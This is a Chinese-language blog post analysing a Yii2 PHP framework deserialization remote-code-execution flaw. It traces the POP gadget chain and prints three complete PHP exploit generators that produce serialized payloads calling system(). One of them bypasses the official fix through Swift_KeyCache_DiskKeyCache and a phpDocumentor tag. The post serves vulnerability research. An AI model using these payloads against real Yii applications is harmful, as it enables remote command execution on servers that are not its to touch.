前言

这个YII反序列化RCE的漏洞出来好几个月了,一直没有跟过,这几天看到一个php可变函数的使用,看到很多YII的链子都是通过可变函数可以构造,于是本地搭环境跟了其中的几条链子。

环境搭建

环境:php7.09

参考先知社区

image.png

框架学习

没有接触过YII框架,于是简单的看了下YII框架的

首先看看YII是如何启动的:

<?php

// comment out the following two lines when deployed to production
defined('YII_DEBUG') or define('YII_DEBUG', true);
defined('YII_ENV') or define('YII_ENV', 'dev');

require __DIR__ . '/../vendor/autoload.php';
require __DIR__ . '/../vendor/yiisoft/yii2/Yii.php';

//配置文件
$config = require __DIR__ . '/../config/web.php';

(new yii\web\Application($config))->run();

(new yiiwebApplication($config))->run();启动方法,但是在yiiwebApplication并不存在run这个方法:

image.png

但是继承于:yiibaseApplication,继续

image.png

找到run方法:

传入了一个config,可以看一下构造函数做了些什么:

image.png

public function preInit(&$config)
{
    if (!isset($config['id'])) {
        throw new InvalidConfigException('The "id" configuration for the Application is required.');
    }
    if (isset($config['basePath'])) {
        $this->setBasePath($config['basePath']);
        unset($config['basePath']);
    } else {
        throw new InvalidConfigException('The "basePath" configuration for the Application is required.');
    }

    if (isset($config['vendorPath'])) {
        $this->setVendorPath($config['vendorPath']);
        unset($config['vendorPath']);
    } else {
        $this->getVendorPath();
    }
    if (isset($config['runtimePath'])) {
        $this->setRuntimePath($config['runtimePath']);
        unset($config['runtimePath']);
    } else {
        // set "@runtime"
        $this->getRuntimePath();
    }

    //设置时区
    if (isset($config['timeZone'])) {
        $this->setTimeZone($config['timeZone']);
        unset($config['timeZone']);
    } elseif (!ini_get('date.timezone')) {
        $this->setTimeZone('UTC');
    }

    if (isset($config['container'])) {
        $this->setContainer($config['container']);

        unset($config['container']);
    }

    /*
        coreComponents返回核心组件
        return [
            'log' => ['class' => 'yii\log\Dispatcher'],
            'view' => ['class' => 'yii\web\View'],
            'formatter' => ['class' => 'yii\i18n\Formatter'],
            'i18n' => ['class' => 'yii\i18n\I18N'],
            'mailer' => ['class' => 'yii\swiftmailer\Mailer'],
            'urlManager' => ['class' => 'yii\web\UrlManager'],
            'assetManager' => ['class' => 'yii\web\AssetManager'],
            'security' => ['class' => 'yii\base\Security'],
        ];
  
        合并配置文件数组的components key内容
    */
    foreach ($this->coreComponents() as $id => $component) {
        if (!isset($config['components'][$id])) {
            $config['components'][$id] = $component;
        } elseif (is_array($config['components'][$id]) && !isset($config['components'][$id]['class'])) {
            $config['components'][$id]['class'] = $component['class'];
        }
    }
}

对配置文件进行检测

接下来就是run方法启动整个程序,比较复杂,也分析不清楚,就跳过吧:

接下来看路由,官方解释:

image.png

和tp的差不多,只不过由s变为了r:

所以我们要访问:r=/模块/控制器/方法

pop链分析

首先看这个exp:

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction, 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

image.png

成功命令执行:

跟一下这个链:

BatchQueryResult的destruct为起点,调用了reset方法:

image.png

看一下reset方法:

image.png

这里两个思路:1触发__call,2:找一个存在close方法的类:

看poc是利用了 Generator这个类:

image.png

format方法:

image.png

但是由于只能控制方法名,参数无法控制

但是image.png

call_user_func_arrary也是可以触发可变函数的:所以我们可以调用任意类的任意方法了:

接下来就比较简单了,只需要找到一个可利用的方法就行,根据poc可以看到找的是:

CreateAction的run方法:

image.png

两个参数可控:所以可以rce:

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'ls -al';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction, 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

以上的分析均是来自:先知社区

然后官方是这样修复的:

image.png

进制直接反序列化这个类BatchQueryResult

在网上看见了很多其他的利用链子,于是也尝试着找几条链子:

禁用了BatchQueryResult,于是查看有没有其他类可以利用:

image.png

和之前那个利用方式一样,调用不存在的方法,然后后续方法一样:

修改一下poc:

image.png

在github上也有师傅发了https://github.com/yiisoft/yii2/issues/18293

其中还有一个姿势:

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'ls';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{

    use Faker\Generator;

    class See{
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
    }
}
namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache{
        private $keys = [];
        private $path;
        public function __construct()
        {
            $this->path = new See;
            $this->keys = array(
                "axin"=>array("is"=>"handsome")
            );
        }
    }
    // 生成poc
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

很有趣的一个姿势:

最终会调用image.png

path可控,可以调用tostring

根据poc可以发现是see下的toString

image.png

image.png

又回到了之前的可变函数。完成了一次利用。

除了触发点外,还有很多其他的姿势,留坑,之后再来补充

总结

可变函数的存在,让pop变得更加容易

Last modification:December 23rd, 2020 at 01:20 am